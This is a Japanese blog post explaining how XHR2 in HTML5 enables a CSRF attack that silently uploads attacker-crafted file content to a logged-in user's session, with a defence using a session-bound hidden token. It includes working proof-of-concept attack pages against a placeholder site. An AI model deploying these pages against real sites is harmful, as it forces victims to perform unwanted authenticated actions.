HTML5におけるCSRF対策の注意事項

HTML5におけるCSRF対策の注意事項

皆さん、こんにちは。
itouです。

2013/10/30、JPCERTから
「HTML5 を利用したWeb アプリケーションのセキュリティ問題に関する調査報告書(以下、セキュリティ調査報告書)」
http://www.jpcert.or.jp/research/html5.html
が報告されました。
HTML5ならではの、セキュリティ面で注意すべき事項が纏められています。

この中で私が注目したのは
「クロスサイト・リクエスト・フォージェリ(以下、CSRF)攻撃」です。

HTML4でもCSRFの脅威はありました。
しかし、HTML4で問題なかったサイトでもHTML5だと脅威になるケースがあります。
そのケースについて、セキュリティ調査報告書の内容をベースに、Webサイトのサンプルを作成し検証してみました。
サンプルは下記よりダウンロードできます。
csrf_example.zip

仕様の説明

まずは、サンプルの仕様を説明いたします。

「ログイン画面にユーザIDとパスワードを入力してログインし、ログイン後の画面でファイルをアップロードする」という仕様です。

ログイン時にセッションを作成し、アップロード時にセッションチェックを行うことで
ログインした人のみがアップロードできるようにしております。
詳細は図の通りです。

攻撃の内容

攻撃の内容は、「悪意のある攻撃者が被害者に不正ファイルをアップロードさせる」です。
もちろん、被害者は不正ファイルをアップロードしたという意識はありません。

HTML4で攻撃する場合

では、悪意のある攻撃者がHTML4の仕組みで攻撃してみます。
セキュリティ調査報告書の11ページの手段を用います。

閲覧者が攻撃者の仕掛けたリンクをクリック(図の赤色の部分)すると
クロスオリジンで攻撃対象の正規サイトに対してファイルをPOSTするHTMLを生成し実行します。

攻撃対象の正規サイトに対してファイルをPOSTするHTML
[code]
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSRF1</title>
</head>
<body onload="document.forms[0].submit();">
<form method="POST" action="https://example/before/upload.php"
enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>
[/code]

しかし、実際には空のファイルがPOSTされるだけになります。
今回のケースでは、「ファイル参照ダイアログは出さずファイルをアップロードさせるCSRF攻撃」はできません。

HTML5で攻撃する場合

ところが、HTML5ではそれが可能になりました。

今回着目するHTML5の技術はXMLHttpRequest Level 2(以下、XHR2)です。
ブラウザ搭載のスクリプト言語でサーバとのHTTP通信を行うための仕組みで
ページ遷移なしにHTTP通信をすることが可能です。

過去のLevel1からLevel2になったことで
クロスオリジン(URLの「スキーム」「ホスト」「ポート」を跨いで通信すること)でのPOSTリクエストが可能になりました。
(厳密にいうと、XHR2 は HTML5ではないですが、HTML5の周辺技術の一つとして扱われているようです)

http://www.w3.org/TR/XMLHttpRequest2/

HTML5では、クロスオリジン通信に対応したXHR2により
JavaScriptでファイルの内容を生成してPOSTリクエストすることが可能になります。
セキュリティ調査報告書の12ページの手段を用いて検証します。

攻撃対象の正規サイトに対してファイルをPOSTするHTML
[code]
<!DOCTYPE html>
<html>
<head>
<script language="javascript">
<!--
  window.onload = function(){

	var xhr = new XMLHttpRequest();
	var boundary = '----boundary';
	var file="abcd"; //送信するファイルの内容
	var request;
	xhr.open( 'POST', 'https://example/before/upload.php', 'true' );
	xhr.setRequestHeader( 'Content-Type',
	'multipart/form-data; boundary=' + boundary );
	xhr.withCredentials = true; // Cookieを付与
	request = '--' + boundary + '\r\n' +
	'Content-Disposition: form-data; name="upfile"; ' +
	' filename="filename.txt"\r\n' +
	'Content-Type: application/octet-stream\r\n\r\n' +
	file +
	'\r\n' + '--' + boundary + '--';

	xhr.send( request );
 	
	xhr.onreadystatechange = function()
	{
		document.getElementById("status").innerHTML=xhr.status;
		document.getElementById("text").innerHTML=xhr.responseText;
	};
	
  }
	
	
-->
</script>
<meta charset="UTF-8">
<title>CSRF2</title>
</head>
<body>
<hr>
<label>XMLHttpRequestステータス:<span id="status"></span></label> <br>
<hr>
<label>XMLHttpRequestレスポンス:<span id="text"></span></label> <br>
<hr>
</body>
</html>
[/code]

JavaScriptで作成した不正なファイルがサーバ側にアップロードされました。

HTML5では、「ファイル参照ダイアログは出さずファイルを自由に編集してアップロードさせるCSRF攻撃」ができました。

対策

では、どうやって対策するとよいのでしょうか?
従来のCSRFの対策と同様、チェック用のトークンを
hiddenに持たせる対応が有効です。

ログイン認証後、トークンを生成し
サーバ(セッション)とクライアント(hidden)の両方に保持します。
ファイルアップロード時に、クライアントからPOSTされたトークンと
サーバ(セッション)のトークンの一致確認を行い
正規のリクエストであることを確認します。

トークンの生成とセッションへの保持
[code]
$TOKEN_LENGTH = 16;//16*2=32バイト
$bytes = openssl_random_pseudo_bytes($TOKEN_LENGTH);
$_SESSION ["TOKEN"] = bin2hex($bytes);
[/code]
クライアントでのTOKENの保持
[code]
<input type="hidden" name="token" value="<?php echo $_SESSION ["TOKEN"] ?>">
[/code]
サーバ側でのトークンチェック
[code]
// トークンチェック
if ($_SESSION ["TOKEN"] != $_POST ["token"]) {
	echo "不正なアクセスです";
	exit ();
}
[/code]

悪意のあるサイトからのリクエスト時にはトークンは送信されないので
サーバ側で正規でないリクエストだと判断し、エラーとすることができました。

まとめ

HTML5の登場により、Webサイト構築が便利になったと同時に
セキュリティに注意しなくてはいけない事項も増えました。

HTML4の時には問題なかったサイトも
HTML5では攻撃の対象になる可能性があります。

HTML4では大丈夫だからという認識を改め、ユーザ側からデータが投入されるようなリクエストについては等しくCSRF対策をすべきです。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です